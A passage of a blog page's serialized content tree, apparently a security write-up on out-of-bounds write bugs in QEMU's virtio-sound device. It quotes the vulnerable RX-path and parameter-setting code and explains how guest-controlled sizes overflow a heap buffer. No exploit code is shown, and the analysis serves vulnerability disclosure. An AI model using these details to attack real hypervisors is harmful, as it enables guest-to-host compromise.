available",{"type":22,"tag":264,"props":126119,"children":126120},{"style":1539},[126121],{"type":27,"value":4463},{"type":22,"tag":264,"props":126123,"children":126124},{"class":1534,"line":1621},[126125],{"type":22,"tag":264,"props":126126,"children":126127},{"style":1539},[126128],{"type":27,"value":1542},{"type":22,"tag":264,"props":126130,"children":126131},{"class":1534,"line":1629},[126132,126137,126141,126146,126150],{"type":22,"tag":264,"props":126133,"children":126134},{"style":1539},[126135],{"type":27,"value":126136},"    VirtIOSoundPCMStream ",{"type":22,"tag":264,"props":126138,"children":126139},{"style":4309},[126140],{"type":27,"value":5865},{"type":22,"tag":264,"props":126142,"children":126143},{"style":1539},[126144],{"type":27,"value":126145},"stream ",{"type":22,"tag":264,"props":126147,"children":126148},{"style":4309},[126149],{"type":27,"value":429},{"type":22,"tag":264,"props":126151,"children":126152},{"style":1539},[126153],{"type":27,"value":126154}," data;\n",{"type":22,"tag":264,"props":126156,"children":126157},{"class":1534,"line":1642},[126158,126163,126167],{"type":22,"tag":264,"props":126159,"children":126160},{"style":1539},[126161],{"type":27,"value":126162},"    VirtIOSoundPCMBuffer ",{"type":22,"tag":264,"props":126164,"children":126165},{"style":4309},[126166],{"type":27,"value":5865},{"type":22,"tag":264,"props":126168,"children":126169},{"style":1539},[126170],{"type":27,"value":126171},"buffer;\n",{"type":22,"tag":264,"props":126173,"children":126174},{"class":1534,"line":1660},[126175,126179],{"type":22,"tag":264,"props":126176,"children":126177},{"style":4293},[126178],{"type":27,"value":17865},{"type":22,"tag":264,"props":126180,"children":126181},{"style":1539},[126182],{"type":27,"value":126183}," size, max_size;\n",{"type":22,"tag":264,"props":126185,"children":126186},{"class":1534,"line":1668},[126187],{"type":22,"tag":264,"props":126188,"children":126189},{"emptyLinePlaceholder":17},[126190],{"type":27,"value":4986},{"type":22,"tag":264,"props":126192,"children":126193},{"class":1534,"line":1677},[126194,126199,126203,126207,126211,126215,126219],{"type":22,"tag":264,"props":126195,"children":126196},{"style":4401},[126197],{"type":27,"value":126198},"    WITH_QEMU_LOCK_GUARD",{"type":22,"tag":264,"props":126200,"children":126201},{"style":1539},[126202],{"type":27,"value":2660},{"type":22,"tag":264,"props":126204,"children":126205},{"style":4309},[126206],{"type":27,"value":4413},{"type":22,"tag":264,"props":126208,"children":126209},{"style":1549},[126210],{"type":27,"value":37576},{"type":22,"tag":264,"props":126212,"children":126213},{"style":1539},[126214],{"type":27,"value":15056},{"type":22,"tag":264,"props":126216,"children":126217},{"style":1549},[126218],{"type":27,"value":125375},{"type":22,"tag":264,"props":126220,"children":126221},{"style":1539},[126222],{"type":27,"value":16103},{"type":22,"tag":264,"props":126224,"children":126225},{"class":1534,"line":1686},[126226,126231,126235,126239,126244,126248,126252,126256,126260,126264],{"type":22,"tag":264,"props":126227,"children":126228},{"style":4328},[126229],{"type":27,"value":126230},"        while",{"type":22,"tag":264,"props":126232,"children":126233},{"style":1539},[126234],{"type":27,"value":4370},{"type":22,"tag":264,"props":126236,"children":126237},{"style":4309},[126238],{"type":27,"value":21928},{"type":22,"tag":264,"props":126240,"children":126241},{"style":4401},[126242],{"type":27,"value":126243},"QSIMPLEQ_EMPTY",{"type":22,"tag":264,"props":126245,"children":126246},{"style":1539},[126247],{"type":27,"value":2660},{"type":22,"tag":264,"props":126249,"children":126250},{"style":4309},[126251],{"type":27,"value":4413},{"type":22,"tag":264,"props":126253,"children":126254},{"style":1549},[126255],{"type":27,"value":37576},{"type":22,"tag":264,"props":126257,"children":126258},{"style":1539},[126259],{"type":27,"value":15056},{"type":22,"tag":264,"props":126261,"children":126262},{"style":1549},[126263],{"type":27,"value":125628},{"type":22,"tag":264,"props":126265,"children":126266},{"style":1539},[126267],{"type":27,"value":36508},{"type":22,"tag":264,"props":126269,"children":126270},{"class":1534,"line":4948},[126271,126275,126279,126284,126288,126292,126296,126300,126304],{"type":22,"tag":264,"props":126272,"children":126273},{"style":1539},[126274],{"type":27,"value":125464},{"type":22,"tag":264,"props":126276,"children":126277},{"style":4309},[126278],{"type":27,"value":429},{"type":22,"tag":264,"props":126280,"children":126281},{"style":4401},[126282],{"type":27,"value":126283}," QSIMPLEQ_FIRST",{"type":22,"tag":264,"props":126285,"children":126286},{"style":1539},[126287],{"type":27,"value":2660},{"type":22,"tag":264,"props":126289,"children":126290},{"style":4309},[126291],{"type":27,"value":4413},{"type":22,"tag":264,"props":126293,"children":126294},{"style":1549},[126295],{"type":27,"value":37576},{"type":22,"tag":264,"props":126297,"children":126298},{"style":1539},[126299],{"type":27,"value":15056},{"type":22,"tag":264,"props":126301,"children":126302},{"style":1549},[126303],{"type":27,"value":125628},{"type":22,"tag":264,"props":126305,"children":126306},{"style":1539},[126307],{"type":27,"value":5142},{"type":22,"tag":264,"props":126309,"children":126310},{"class":1534,"line":4957},[126311],{"type":22,"tag":264,"props":126312,"children":126313},{"emptyLinePlaceholder":17},[126314],{"type":27,"value":4986},{"type":22,"tag":264,"props":126316,"children":126317},{"class":1534,"line":4980},[126318],{"type":22,"tag":264,"props":126319,"children":126320},{"style":1539},[126321],{"type":27,"value":126322},"            [...]\n",{"type":22,"tag":264,"props":126324,"children":126325},{"class":1534,"line":4989},[126326],{"type":22,"tag":264,"props":126327,"children":126328},{"emptyLinePlaceholder":17},[126329],{"type":27,"value":4986},{"type":22,"tag":264,"props":126331,"children":126332},{"class":1534,"line":4998},[126333,126338,126342,126346,126350],{"type":22,"tag":264,"props":126334,"children":126335},{"style":1539},[126336],{"type":27,"value":126337},"            max_size ",{"type":22,"tag":264,"props":126339,"children":126340},{"style":4309},[126341],{"type":27,"value":429},{"type":22,"tag":264,"props":126343,"children":126344},{"style":4401},[126345],{"type":27,"value":125396},{"type":22,"tag":264,"props":126347,"children":126348},{"style":1539},[126349],{"type":27,"value":2660},{"type":22,"tag":264,"props":126351,"children":126352},{"style":4284},[126353],{"type":27,"value":126354},"                    // [1]\n",{"type":22,"tag":264,"props":126356,"children":126357},{"class":1534,"line":5067},[126358,126363,126367,126371,126375,126379],{"type":22,"tag":264,"props":126359,"children":126360},{"style":1549},[126361],{"type":27,"value":126362},"                buffer",{"type":22,"tag":264,"props":126364,"children":126365},{"style":1539},[126366],{"type":27,"value":15056},{"type":22,"tag":264,"props":126368,"children":126369},{"style":1549},[126370],{"type":27,"value":53385},{"type":22,"tag":264,"props":126372,"children":126373},{"style":1539},[126374],{"type":27,"value":15056},{"type":22,"tag":264,"props":126376,"children":126377},{"style":1549},[126378],{"type":27,"value":125413},{"type":22,"tag":264,"props":126380,"children":126381},{"style":1539},[126382],{"type":27,"value":4812},{"type":22,"tag":264,"props":126384,"children":126385},{"class":1534,"line":5075},[126386,126390,126394,126398,126402],{"type":22,"tag":264,"props":126387,"children":126388},{"style":1549},[126389],{"type":27,"value":126362},{"type":22,"tag":264,"props":126391,"children":126392},{"style":1539},[126393],{"type":27,"value":15056},{"type":22,"tag":264,"props":126395,"children":126396},{"style":1549},[126397],{"type":27,"value":53385},{"type":22,"tag":264,"props":126399,"children":126400},{"style":1539},[126401],{"type":27,"value":15056},{"type":22,"tag":264,"props":126403,"children":126404},{"style":1549},[126405],{"type":27,"value":126406},"in_num\n",{"type":22,"tag":264,"props":126408,"children":126409},{"class":1534,"line":5105},[126410],{"type":22,"tag":264,"props":126411,"children":126412},{"style":1539},[126413],{"type":27,"value":126414},"            );\n",{"type":22,"tag":264,"props":126416,"children":126417},{"class":1534,"line":5113},[126418,126423],{"type":22,"tag":264,"props":126419,"children":126420},{"style":4328},[126421],{"type":27,"value":126422},"            for",{"type":22,"tag":264,"props":126424,"children":126425},{"style":1539},[126426],{"type":27,"value":125226},{"type":22,"tag":264,"props":126428,"children":126429},{"class":1534,"line":5145},[126430,126434,126438,126443,126447,126451,126455,126460],{"type":22,"tag":264,"props":126431,"children":126432},{"style":4328},[126433],{"type":27,"value":104841},{"type":22,"tag":264,"props":126435,"children":126436},{"style":1539},[126437],{"type":27,"value":4370},{"type":22,"tag":264,"props":126439,"children":126440},{"style":1549},[126441],{"type":27,"value":126442},"buffer",{"type":22,"tag":264,"props":126444,"children":126445},{"style":1539},[126446],{"type":27,"value":15056},{"type":22,"tag":264,"props":126448,"children":126449},{"style":1549},[126450],{"type":27,"value":125560},{"type":22,"tag":264,"props":126452,"children":126453},{"style":4309},[126454],{"type":27,"value":9596},{"type":22,"tag":264,"props":126456,"children":126457},{"style":1539},[126458],{"type":27,"value":126459}," max_size) {",{"type":22,"tag":264,"props":126461,"children":126462},{"style":4284},[126463],{"type":27,"value":126464},"     // [2]\n",{"type":22,"tag":264,"props":126466,"children":126467},{"class":1534,"line":5153},[126468,126473],{"type":22,"tag":264,"props":126469,"children":126470},{"style":4401},[126471],{"type":27,"value":126472},"                    return_rx_buffer",{"type":22,"tag":264,"props":126474,"children":126475},{"style":1539},[126476],{"type":27,"value":126477},"(stream, buffer);\n",{"type":22,"tag":264,"props":126479,"children":126480},{"class":1534,"line":5213},[126481,126486],{"type":22,"tag":264,"props":126482,"children":126483},{"style":4328},[126484],{"type":27,"value":126485},"                    break",{"type":22,"tag":264,"props":126487,"children":126488},{"style":1539},[126489],{"type":27,"value":4322},{"type":22,"tag":264,"props":126491,"children":126492},{"class":1534,"line":10343},[126493],{"type":22,"tag":264,"props":126494,"children":126495},{"style":1539},[126496],{"type":27,"value":72395},{"type":22,"tag":264,"props":126498,"children":126499},{"class":1534,"line":10361},[126500,126505,126509,126514,126518,126522,126526,126531,126535,126539],{"type":22,"tag":264,"props":126501,"children":126502},{"style":1539},[126503],{"type":27,"value":126504},"                size ",{"type":22,"tag":264,"props":126506,"children":126507},{"style":4309},[126508],{"type":27,"value":429},{"type":22,"tag":264,"props":126510,"children":126511},{"style":4401},[126512],{"type":27,"value":126513}," AUD_read",{"type":22,"tag":264,"props":126515,"children":126516},{"style":1539},[126517],{"type":27,"value":2660},{"type":22,"tag":264,"props":126519,"children":126520},{"style":1549},[126521],{"type":27,"value":37576},{"type":22,"tag":264,"props":126523,"children":126524},{"style":1539},[126525],{"type":27,"value":15056},{"type":22,"tag":264,"props":126527,"children":126528},{"style":1549},[126529],{"type":27,"value":126530},"voice",{"type":22,"tag":264,"props":126532,"children":126533},{"style":1539},[126534],{"type":27,"value":210},{"type":22,"tag":264,"props":126536,"children":126537},{"style":1549},[126538],{"type":27,"value":96819},{"type":22,"tag":264,"props":126540,"children":126541},{"style":1539},[126542],{"type":27,"value":4812},{"type":22,"tag":264,"props":126544,"children":126545},{"class":1534,"line":10406},[126546,126551,126555,126559,126563,126568,126572,126576],{"type":22,"tag":264,"props":126547,"children":126548},{"style":1549},[126549],{"type":27,"value":126550},"                        buffer",{"type":22,"tag":264,"props":126552,"children":126553},{"style":1539},[126554],{"type":27,"value":15056},{"type":22,"tag":264,"props":126556,"children":126557},{"style":1549},[126558],{"type":27,"value":5013},{"type":22,"tag":264,"props":126560,"children":126561},{"style":4309},[126562],{"type":27,"value":10200},{"type":22,"tag":264,"props":126564,"children":126565},{"style":1549},[126566],{"type":27,"value":126567}," buffer",{"type":22,"tag":264,"props":126569,"children":126570},{"style":1539},[126571],{"type":27,"value":15056},{"type":22,"tag":264,"props":126573,"children":126574},{"style":1549},[126575],{"type":27,"value":125560},{"type":22,"tag":264,"props":126577,"children":126578},{"style":1539},[126579],{"type":27,"value":4812},{"type":22,"tag":264,"props":126581,"children":126582},{"class":1534,"line":10512},[126583,126588,126593,126597,126601,126605,126609,126614,126618],{"type":22,"tag":264,"props":126584,"children":126585},{"style":4401},[126586],{"type":27,"value":126587},"                        MIN",{"type":22,"tag":264,"props":126589,"children":126590},{"style":1539},[126591],{"type":27,"value":126592},"(available, (",{"type":22,"tag":264,"props":126594,"children":126595},{"style":1549},[126596],{"type":27,"value":37576},{"type":22,"tag":264,"props":126598,"children":126599},{"style":1539},[126600],{"type":27,"value":15056},{"type":22,"tag":264,"props":126602,"children":126603},{"style":1549},[126604],{"type":27,"value":99603},{"type":22,"tag":264,"props":126606,"children":126607},{"style":1539},[126608],{"type":27,"value":210},{"type":22,"tag":264,"props":126610,"children":126611},{"style":1549},[126612],{"type":27,"value":126613},"period_bytes",{"type":22,"tag":264,"props":126615,"children":126616},{"style":4309},[126617],{"type":27,"value":52576},{"type":22,"tag":264,"props":126619,"children":126620},{"style":4284},[126621],{"type":27,"value":126622},"     // [3]\n",{"type":22,"tag":264,"props":126624,"children":126625},{"class":1534,"line":24810},[126626,126631,126635,126639],{"type":22,"tag":264,"props":126627,"children":126628},{"style":1549},[126629],{"type":27,"value":126630},"                                        buffer",{"type":22,"tag":264,"props":126632,"children":126633},{"style":1539},[126634],{"type":27,"value":15056},{"type":22,"tag":264,"props":126636,"children":126637},{"style":1549},[126638],{"type":27,"value":125560},{"type":22,"tag":264,"props":126640,"children":126641},{"style":1539},[126642],{"type":27,"value":126643},")));\n",{"type":22,"tag":264,"props":126645,"children":126646},{"class":1534,"line":24845},[126647,126651,126655,126659],{"type":22,"tag":264,"props":126648,"children":126649},{"style":4328},[126650],{"type":27,"value":104841},{"type":22,"tag":264,"props":126652,"children":126653},{"style":1539},[126654],{"type":27,"value":4370},{"type":22,"tag":264,"props":126656,"children":126657},{"style":4309},[126658],{"type":27,"value":21928},{"type":22,"tag":264,"props":126660,"children":126661},{"style":1539},[126662],{"type":27,"value":126663},"size) {\n",{"type":22,"tag":264,"props":126665,"children":126666},{"class":1534,"line":24853},[126667,126672,126676,126680],{"type":22,"tag":264,"props":126668,"children":126669},{"style":1539},[126670],{"type":27,"value":126671},"                    available ",{"type":22,"tag":264,"props":126673,"children":126674},{"style":4309},[126675],{"type":27,"value":429},{"type":22,"tag":264,"props":126677,"children":126678},{"style":4344},[126679],{"type":27,"value":4347},{"type":22,"tag":264,"props":126681,"children":126682},{"style":1539},[126683],{"type":27,"value":4322},{"type":22,"tag":264,"props":126685,"children":126686},{"class":1534,"line":24861},[126687,126691],{"type":22,"tag":264,"props":126688,"children":126689},{"style":4328},[126690],{"type":27,"value":126485},{"type":22,"tag":264,"props":126692,"children":126693},{"style":1539},[126694],{"type":27,"value":4322},{"type":22,"tag":264,"props":126696,"children":126697},{"class":1534,"line":24870},[126698],{"type":22,"tag":264,"props":126699,"children":126700},{"style":1539},[126701],{"type":27,"value":72395},{"type":22,"tag":264,"props":126703,"children":126704},{"class":1534,"line":24912},[126705,126709,126713,126717,126721],{"type":22,"tag":264,"props":126706,"children":126707},{"style":1549},[126708],{"type":27,"value":126362},{"type":22,"tag":264,"props":126710,"children":126711},{"style":1539},[126712],{"type":27,"value":15056},{"type":22,"tag":264,"props":126714,"children":126715},{"style":1549},[126716],{"type":27,"value":125560},{"type":22,"tag":264,"props":126718,"children":126719},{"style":4309},[126720],{"type":27,"value":16364},{"type":22,"tag":264,"props":126722,"children":126723},{"style":1539},[126724],{"type":27,"value":125902},{"type":22,"tag":264,"props":126726,"children":126727},{"class":1534,"line":24945},[126728,126733,126737],{"type":22,"tag":264,"props":126729,"children":126730},{"style":1539},[126731],{"type":27,"value":126732},"                available ",{"type":22,"tag":264,"props":126734,"children":126735},{"style":4309},[126736],{"type":27,"value":105306},{"type":22,"tag":264,"props":126738,"children":126739},{"style":1539},[126740],{"type":27,"value":125902},{"type":22,"tag":264,"props":126742,"children":126743},{"class":1534,"line":24953},[126744],{"type":22,"tag":264,"props":126745,"children":126746},{"style":1539},[126747],{"type":27,"value":126748},"                [...]\n",{"type":22,"tag":264,"props":126750,"children":126751},{"class":1534,"line":24961},[126752],{"type":22,"tag":264,"props":126753,"children":126754},{"style":1539},[126755],{"type":27,"value":60206},{"type":22,"tag":264,"props":126757,"children":126758},{"class":1534,"line":24970},[126759],{"type":22,"tag":264,"props":126760,"children":126761},{"style":1539},[126762],{"type":27,"value":4651},{"type":22,"tag":264,"props":126764,"children":126765},{"class":1534,"line":25046},[126766],{"type":22,"tag":264,"props":126767,"children":126768},{"style":1539},[126769],{"type":27,"value":1674},{"type":22,"tag":264,"props":126771,"children":126772},{"class":1534,"line":25079},[126773],{"type":22,"tag":264,"props":126774,"children":126775},{"style":1539},[126776],{"type":27,"value":1692},{"type":22,"tag":23,"props":126778,"children":126779},{},[126780,126781,126786,126787,126793,126795,126801,126803,126808,126809,126814,126816,126821],{"type":27,"value":125682},{"type":22,"tag":257,"props":126782,"children":126784},{"className":126783},[],[126785],{"type":27,"value":125688},{"type":27,"value":4380},{"type":22,"tag":257,"props":126788,"children":126790},{"className":126789},[],[126791],{"type":27,"value":126792},"max_size",{"type":27,"value":126794}," is set to ",{"type":22,"tag":257,"props":126796,"children":126798},{"className":126797},[],[126799],{"type":27,"value":126800},"iov_size(in_sg, in_num)",{"type":27,"value":126802},". Both ",{"type":22,"tag":257,"props":126804,"children":126806},{"className":126805},[],[126807],{"type":27,"value":125413},{"type":27,"value":12290},{"type":22,"tag":257,"props":126810,"children":126812},{"className":126811},[],[126813],{"type":27,"value":125430},{"type":27,"value":126815}," are the same guest-controlled fields from ",{"type":22,"tag":257,"props":126817,"children":126819},{"className":126818},[],[126820],{"type":27,"value":125065},{"type":27,"value":210},{"type":22,"tag":23,"props":126823,"children":126824},{},[126825,126827,126832,126834,126840,126842,126848,126850,126856],{"type":27,"value":126826},"Later, at ",{"type":22,"tag":257,"props":126828,"children":126830},{"className":126829},[],[126831],{"type":27,"value":125723},{"type":27,"value":126833},", the code checks whether ",{"type":22,"tag":257,"props":126835,"children":126837},{"className":126836},[],[126838],{"type":27,"value":126839},"buffer->size >= max_size",{"type":27,"value":126841},". In the RX path, ",{"type":22,"tag":257,"props":126843,"children":126845},{"className":126844},[],[126846],{"type":27,"value":126847},"buffer->size",{"type":27,"value":126849}," tracks how many bytes have been written into ",{"type":22,"tag":257,"props":126851,"children":126853},{"className":126852},[],[126854],{"type":27,"value":126855},"buffer->data",{"type":27,"value":126857},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":22,"tag":23,"props":126859,"children":126860},{},[126861,126863,126868,126870,126876,126878,126883,126885,126891],{"type":27,"value":126862},"However, this does not match the allocation logic in ",{"type":22,"tag":257,"props":126864,"children":126866},{"className":126865},[],[126867],{"type":27,"value":125065},{"type":27,"value":126869},", which used: ",{"type":22,"tag":257,"props":126871,"children":126873},{"className":126872},[],[126874],{"type":27,"value":126875},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":27,"value":126877},". In other words, the allocation subtracts ",{"type":22,"tag":257,"props":126879,"children":126881},{"className":126880},[],[126882],{"type":27,"value":125789},{"type":27,"value":126884},", but the later bound in ",{"type":22,"tag":257,"props":126886,"children":126888},{"className":126887},[],[126889],{"type":27,"value":126890},"virtio_snd_pcm_in_cb",{"type":27,"value":126892}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":22,"tag":23,"props":126894,"children":126895},{},[126896,126898,126903,126905,126911,126913,126919,126921,126926,126928,126934,126936,126942,126944,126949,126951,126956],{"type":27,"value":126897},"Finally, at ",{"type":22,"tag":257,"props":126899,"children":126901},{"className":126900},[],[126902],{"type":27,"value":125747},{"type":27,"value":126904},", the code calls ",{"type":22,"tag":257,"props":126906,"children":126908},{"className":126907},[],[126909],{"type":27,"value":126910},"AUD_read",{"type":27,"value":126912}," with the following limit:\n",{"type":22,"tag":257,"props":126914,"children":126916},{"className":126915},[],[126917],{"type":27,"value":126918},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":27,"value":126920},". Notice how this bound does not take ",{"type":22,"tag":257,"props":126922,"children":126924},{"className":126923},[],[126925],{"type":27,"value":126792},{"type":27,"value":126927}," into account at all. That means if ",{"type":22,"tag":257,"props":126929,"children":126931},{"className":126930},[],[126932],{"type":27,"value":126933},"available",{"type":27,"value":126935}," is larger than the allocated buffer, and ",{"type":22,"tag":257,"props":126937,"children":126939},{"className":126938},[],[126940],{"type":27,"value":126941},"stream->params.period_bytes",{"type":27,"value":126943}," is also larger than the allocated buffer, ",{"type":22,"tag":257,"props":126945,"children":126947},{"className":126946},[],[126948],{"type":27,"value":126910},{"type":27,"value":126950}," will write past the end of ",{"type":22,"tag":257,"props":126952,"children":126954},{"className":126953},[],[126955],{"type":27,"value":126855},{"type":27,"value":126957}," - the third, and final, bug we found.",{"type":22,"tag":23,"props":126959,"children":126960},{},[126961,126963,126968,126970,126976],{"type":27,"value":126962},"Looking further at the code, we can see that ",{"type":22,"tag":257,"props":126964,"children":126966},{"className":126965},[],[126967],{"type":27,"value":126941},{"type":27,"value":126969}," is fully guest-controlled by issuing a ",{"type":22,"tag":257,"props":126971,"children":126973},{"className":126972},[],[126974],{"type":27,"value":126975},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":27,"value":126977}," request:",{"type":22,"tag":618,"props":126979,"children":126981},{"code":126980,"language":4449,"meta":7,"className":17815,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[126982],{"type":22,"tag":257,"props":126983,"children":126984},{"__ignoreMap":7},[126985,126993,127022,127039,127059,127066,127083,127090,127097,127104,127126,127133,127140,127147,127193,127236,127280,127288,127325,127361,127397,127404,127421],{"type":22,"tag":264,"props":126986,"children":126987},{"class":1534,"line":1535},[126988],{"type":22,"tag":264,"props":126989,"children":126990},{"style":4293},[126991],{"type":27,"value":126992},"static\n",{"type":22,"tag":264,"props":126994,"children":126995},{"class":1534,"line":1545},[126996,127000,127005,127010,127014,127018],{"type":22,"tag":264,"props":126997,"children":126998},{"style":4293},[126999],{"type":27,"value":59254},{"type":22,"tag":264,"props":127001,"children":127002},{"style":4401},[127003],{"type":27,"value":127004}," virtio_snd_set_pcm_params",{"type":22,"tag":264,"props":127006,"children":127007},{"style":1539},[127008],{"type":27,"value":127009},"(VirtIOSound ",{"type":22,"tag":264,"props":127011,"children":127012},{"style":4309},[127013],{"type":27,"value":5865},{"type":22,"tag":264,"props":127015,"children":127016},{"style":1549},[127017],{"type":27,"value":11950},{"type":22,"tag":264,"props":127019,"children":127020},{"style":1539},[127021],{"type":27,"value":4812},{"type":22,"tag":264,"props":127023,"children":127024},{"class":1534,"line":1560},[127025,127030,127035],{"type":22,"tag":264,"props":127026,"children":127027},{"style":4293},[127028],{"type":27,"value":127029},"                                   uint32_t",{"type":22,"tag":264,"props":127031,"children":127032},{"style":1549},[127033],{"type":27,"value":127034}," stream_id",{"type":22,"tag":264,"props":127036,"children":127037},{"style":1539},[127038],{"type":27,"value":4812},{"type":22,"tag":264,"props":127040,"children":127041},{"class":1534,"line":1569},[127042,127047,127051,127055],{"type":22,"tag":264,"props":127043,"children":127044},{"style":1539},[127045],{"type":27,"value":127046},"                                   virtio_snd_pcm_set_params ",{"type":22,"tag":264,"props":127048,"children":127049},{"style":4309},[127050],{"type":27,"value":5865},{"type":22,"tag":264,"props":127052,"children":127053},{"style":1549},[127054],{"type":27,"value":99603},{"type":22,"tag":264,"props":127056,"children":127057},{"style":1539},[127058],{"type":27,"value":4463},{"type":22,"tag":264,"props":127060,"children":127061},{"class":1534,"line":1583},[127062],{"type":22,"tag":264,"props":127063,"children":127064},{"style":1539},[127065],{"type":27,"value":1542},{"type":22,"tag":264,"props":127067,"children":127068},{"class":1534,"line":1603},[127069,127074,127078],{"type":22,"tag":264,"props":127070,"children":127071},{"style":1539},[127072],{"type":27,"value":127073},"    virtio_snd_pcm_set_params ",{"type":22,"tag":264,"props":127075,"children":127076},{"style":4309},[127077],{"type":27,"value":5865},{"type":22,"tag":264,"props":127079,"children":127080},{"style":1539},[127081],{"type":27,"value":127082},"st_params;\n",{"type":22,"tag":264,"props":127084,"children":127085},{"class":1534,"line":1612},[127086],{"type":22,"tag":264,"props":127087,"children":127088},{"emptyLinePlaceholder":17},[127089],{"type":27,"value":4986},{"type":22,"tag":264,"props":127091,"children":127092},{"class":1534,"line":1621},[127093],{"type":22,"tag":264,"props":127094,"children":127095},{"style":1539},[127096],{"type":27,"value":106122},{"type":22,"tag":264,"props":127098,"children":127099},{"class":1534,"line":1629},[127100],{"type":22,"tag":264,"props":127101,"children":127102},{"emptyLinePlaceholder":17},[127103],{"type":27,"value":4986},{"type":22,"tag":264,"props":127105,"children":127106},{"class":1534,"line":1642},[127107,127112,127116,127121],{"type":22,"tag":264,"props":127108,"children":127109},{"style":1539},[127110],{"type":27,"value":127111},"    st_params ",{"type":22,"tag":264,"props":127113,"children":127114},{"style":4309},[127115],{"type":27,"value":429},{"type":22,"tag":264,"props":127117,"children":127118},{"style":4401},[127119],{"type":27,"value":127120}," virtio_snd_pcm_get_params",{"type":22,"tag":264,"props":127122,"children":127123},{"style":1539},[127124],{"type":27,"value":127125},"(s, stream_id);\n",{"type":22,"tag":264,"props":127127,"children":127128},{"class":1534,"line":1660},[127129],{"type":22,"tag":264,"props":127130,"children":127131},{"emptyLinePlaceholder":17},[127132],{"type":27,"value":4986},{"type":22,"tag":264,"props":127134,"children":127135},{"class":1534,"line":1668},[127136],{"type":22,"tag":264,"props":127137,"children":127138},{"style":1539},[127139],{"type":27,"value":106122},{"type":22,"tag":264,"props":127141,"children":127142},{"class":1534,"line":1677},[127143],{"type":22,"tag":264,"props":127144,"children":127145},{"emptyLinePlaceholder":17},[127146],{"type":27,"value":4986},{"type":22,"tag":264,"props":127148,"children":127149},{"class":1534,"line":1686},[127150,127155,127159,127164,127168,127173,127177,127181,127185,127189],{"type":22,"tag":264,"props":127151,"children":127152},{"style":1549},[127153],{"type":27,"value":127154},"    st_params",{"type":22,"tag":264,"props":127156,"children":127157},{"style":1539},[127158],{"type":27,"value":15056},{"type":22,"tag":264,"props":127160,"children":127161},{"style":1549},[127162],{"type":27,"value":127163},"buffer_bytes",{"type":22,"tag":264,"props":127165,"children":127166},{"style":4309},[127167],{"type":27,"value":4312},{"type":22,"tag":264,"props":127169,"children":127170},{"style":4401},[127171],{"type":27,"value":127172}," le32_to_cpu",{"type":22,"tag":264,"props":127174,"children":127175},{"style":1539},[127176],{"type":27,"value":2660},{"type":22,"tag":264,"props":127178,"children":127179},{"style":1549},[127180],{"type":27,"value":99603},{"type":22,"tag":264,"props":127182,"children":127183},{"style":1539},[127184],{"type":27,"value":15056},{"type":22,"tag":264,"props":127186,"children":127187},{"style":1549},[127188],{"type":27,"value":127163},{"type":22,"tag":264,"props":127190,"children":127191},{"style":1539},[127192],{"type":27,"value":5142},{"type":22,"tag":264,"props":127194,"children":127195},{"class":1534,"line":4948},[127196,127200,127204,127208,127212,127216,127220,127224,127228,127232],{"type":22,"tag":264,"props":127197,"children":127198},{"style":1549},[127199],{"type":27,"value":127154},{"type":22,"tag":264,"props":127201,"children":127202},{"style":1539},[127203],{"type":27,"value":15056},{"type":22,"tag":264,"props":127205,"children":127206},{"style":1549},[127207],{"type":27,"value":126613},{"type":22,"tag":264,"props":127209,"children":127210},{"style":4309},[127211],{"type":27,"value":4312},{"type":22,"tag":264,"props":127213,"children":127214},{"style":4401},[127215],{"type":27,"value":127172},{"type":22,"tag":264,"props":127217,"children":127218},{"style":1539},[127219],{"type":27,"value":2660},{"type":22,"tag":264,"props":127221,"children":127222},{"style":1549},[127223],{"type":27,"value":99603},{"type":22,"tag":264,"props":127225,"children":127226},{"style":1539},[127227],{"type":27,"value":15056},{"type":22,"tag":264,"props":127229,"children":127230},{"style":1549},[127231],{"type":27,"value":126613},{"type":22,"tag":264,"props":127233,"children":127234},{"style":1539},[127235],{"type":27,"value":5142},{"type":22,"tag":264,"props":127237,"children":127238},{"class":1534,"line":4957},[127239,127243,127247,127252,127256,127260,127264,127268,127272,127276],{"type":22,"tag":264,"props":127240,"children":127241},{"style":1549},[127242],{"type":27,"value":127154},{"type":22,"tag":264,"props":127244,"children":127245},{"style":1539},[127246],{"type":27,"value":15056},{"type":22,"tag":264,"props":127248,"children":127249},{"style":1549},[127250],{"type":27,"value":127251},"features",{"type":22,"tag":264,"props":127253,"children":127254},{"style":4309},[127255],{"type":27,"value":4312},{"type":22,"tag":264,"props":127257,"children":127258},{"style":4401},[127259],{"type":27,"value":127172},{"type":22,"tag":264,"props":127261,"children":127262},{"style":1539},[127263],{"type":27,"value":2660},{"type":22,"tag":264,"props":127265,"children":127266},{"style":1549},[127267],{"type":27,"value":99603},{"type":22,"tag":264,"props":127269,"children":127270},{"style":1539},[127271],{"type":27,"value":15056},{"type":22,"tag":264,"props":127273,"children":127274},{"style":1549},[127275],{"type":27,"value":127251},{"type":22,"tag":264,"props":127277,"children":127278},{"style":1539},[127279],{"type":27,"value":5142},{"type":22,"tag":264,"props":127281,"children":127282},{"class":1534,"line":4980},[127283],{"type":22,"tag":264,"props":127284,"children":127285},{"style":4284},[127286],{"type":27,"value":127287},"    /* the following are uint8_t, so there's no need to bswap the values. 